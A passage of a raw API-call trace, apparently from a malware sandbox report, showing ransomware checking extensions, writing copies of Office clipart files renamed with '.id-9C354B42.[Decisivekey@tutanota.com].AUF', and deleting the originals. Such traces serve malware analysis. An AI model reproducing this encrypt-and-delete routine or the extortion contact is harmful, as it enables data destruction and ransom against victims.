1 [0220.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0220.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0220.534] lstrlenW (lpString=".doc") returned 4 [0220.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.534] lstrlenW (lpString=".docx") returned 5 [0220.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.534] lstrlenW (lpString=".pdf") returned 4 [0220.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.534] lstrlenW (lpString=".xls") returned 4 [0220.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.534] lstrlenW (lpString=".xlsx") returned 5 [0220.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.534] lstrlenW (lpString=".ppt") returned 4 [0220.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0220.534] lstrlenW (lpString=".zip") returned 4 [0220.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.534] lstrlenW (lpString=".rar") returned 4 [0220.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.535] lstrlenW (lpString=".bz2") returned 4 [0220.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.535] lstrlenW (lpString=".7z") returned 3 [0220.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0220.535] lstrlenW (lpString=".dbf") returned 4 [0220.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0220.535] lstrlenW (lpString=".1cd") returned 4 [0220.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0220.535] lstrlenW (lpString=".jpg") returned 4 [0220.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.535] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=13042) returned 1 [0220.535] CloseHandle (hObject=0x1f8) returned 1 [0220.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x20 [0220.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.535] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.535] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.536] GetLastError () returned 0x0 [0220.536] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x32f2, lpOverlapped=0x0) returned 1 [0220.537] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x3300, lpOverlapped=0x0) returned 1 [0220.538] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.538] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.538] SetEndOfFile (hFile=0x16c) returned 1 [0220.538] CloseHandle (hObject=0x16c) returned 1 [0220.539] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.539] SetEndOfFile (hFile=0x1f8) returned 1 [0220.539] CloseHandle (hObject=0x1f8) returned 1 [0220.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0220.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0220.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0220.540] lstrlenW (lpString=".doc") returned 4 [0220.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.540] lstrlenW (lpString=".docx") returned 5 [0220.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.540] lstrlenW (lpString=".pdf") returned 4 [0220.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.540] lstrlenW (lpString=".xls") returned 4 [0220.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.540] lstrlenW (lpString=".xlsx") returned 5 [0220.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.540] lstrlenW (lpString=".ppt") returned 4 [0220.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0220.540] lstrlenW (lpString=".zip") returned 4 [0220.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.540] lstrlenW (lpString=".rar") returned 4 [0220.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.540] lstrlenW (lpString=".bz2") returned 4 [0220.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.540] lstrlenW (lpString=".7z") returned 3 [0220.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0220.540] lstrlenW (lpString=".dbf") returned 4 [0220.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0220.540] lstrlenW (lpString=".1cd") returned 4 [0220.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0220.540] lstrlenW (lpString=".jpg") returned 4 [0220.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.542] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2700) returned 1 [0220.542] CloseHandle (hObject=0x1f8) returned 1 [0220.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x20 [0220.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.542] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.542] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.543] GetLastError () returned 0x0 [0220.543] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xa8c, lpOverlapped=0x0) returned 1 [0220.583] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xa90, lpOverlapped=0x0) returned 1 [0220.583] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.583] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.583] SetEndOfFile (hFile=0x16c) returned 1 [0220.584] CloseHandle (hObject=0x16c) returned 1 [0220.584] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.584] SetEndOfFile (hFile=0x1f8) returned 1 [0220.584] CloseHandle (hObject=0x1f8) returned 1 [0220.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0220.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0220.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0220.588] lstrlenW (lpString=".doc") returned 4 [0220.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.589] lstrlenW (lpString=".docx") returned 5 [0220.589] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.589] lstrlenW (lpString=".pdf") returned 4 [0220.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.589] lstrlenW (lpString=".xls") returned 4 [0220.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.589] lstrlenW (lpString=".xlsx") returned 5 [0220.589] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.589] lstrlenW (lpString=".ppt") returned 4 [0220.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0220.589] lstrlenW (lpString=".zip") returned 4 [0220.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.589] lstrlenW (lpString=".rar") returned 4 [0220.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.589] lstrlenW (lpString=".bz2") returned 4 [0220.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.589] lstrlenW (lpString=".7z") returned 3 [0220.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0220.589] lstrlenW (lpString=".dbf") returned 4 [0220.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0220.589] lstrlenW (lpString=".1cd") returned 4 [0220.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0220.589] lstrlenW (lpString=".jpg") returned 4 [0220.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.593] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.593] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0220.593] GetLastError () returned 0x0 [0220.593] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x3044, lpOverlapped=0x0) returned 1 [0220.667] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x3050, lpOverlapped=0x0) returned 1 [0220.668] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.668] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.668] SetEndOfFile (hFile=0x1f4) returned 1 [0220.703] CloseHandle (hObject=0x1f4) returned 1 [0220.703] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.703] SetEndOfFile (hFile=0x1d8) returned 1 [0220.704] CloseHandle (hObject=0x1d8) returned 1 [0220.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0220.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0220.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0220.901] lstrlenW (lpString=".doc") returned 4 [0220.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.901] lstrlenW (lpString=".docx") returned 5 [0220.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.901] lstrlenW (lpString=".pdf") returned 4 [0220.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.901] lstrlenW (lpString=".xls") returned 4 [0220.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.901] lstrlenW (lpString=".xlsx") returned 5 [0220.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.901] lstrlenW (lpString=".ppt") returned 4 [0220.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0220.901] lstrlenW (lpString=".zip") returned 4 [0220.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.901] lstrlenW (lpString=".rar") returned 4 [0220.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.901] lstrlenW (lpString=".bz2") returned 4 [0220.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.901] lstrlenW (lpString=".7z") returned 3 [0220.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0220.901] lstrlenW (lpString=".dbf") returned 4 [0220.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0220.901] lstrlenW (lpString=".1cd") returned 4 [0220.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0220.901] lstrlenW (lpString=".jpg") returned 4 [0220.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.012] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.012] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0221.012] GetLastError () returned 0x0 [0221.012] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x7620, lpOverlapped=0x0) returned 1 [0221.033] WriteFile (in: hFile=0x230, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x7630, lpOverlapped=0x0) returned 1 [0221.034] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.034] WriteFile (in: hFile=0x230, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.034] SetEndOfFile (hFile=0x230) returned 1 [0221.034] CloseHandle (hObject=0x230) returned 1 [0221.034] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.034] SetEndOfFile (hFile=0x1e8) returned 1 [0221.035] CloseHandle (hObject=0x1e8) returned 1 [0221.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0221.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0221.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0221.036] lstrlenW (lpString=".doc") returned 4 [0221.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.036] lstrlenW (lpString=".docx") returned 5 [0221.036] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.036] lstrlenW (lpString=".pdf") returned 4 [0221.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.036] lstrlenW (lpString=".xls") returned 4 [0221.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.036] lstrlenW (lpString=".xlsx") returned 5 [0221.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.036] lstrlenW (lpString=".ppt") returned 4 [0221.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0221.036] lstrlenW (lpString=".zip") returned 4 [0221.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.036] lstrlenW (lpString=".rar") returned 4 [0221.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.036] lstrlenW (lpString=".bz2") returned 4 [0221.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.036] lstrlenW (lpString=".7z") returned 3 [0221.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0221.036] lstrlenW (lpString=".dbf") returned 4 [0221.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0221.037] lstrlenW (lpString=".1cd") returned 4 [0221.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0221.037] lstrlenW (lpString=".jpg") returned 4 [0221.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.037] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=29212) returned 1 [0221.037] CloseHandle (hObject=0x1e8) returned 1 [0221.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x20 [0221.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0221.037] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.037] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0221.038] GetLastError () returned 0x0 [0221.038] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x721c, lpOverlapped=0x0) returned 1 [0221.230] WriteFile (in: hFile=0x230, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x7220, lpOverlapped=0x0) returned 1 [0221.231] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.231] WriteFile (in: hFile=0x230, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, 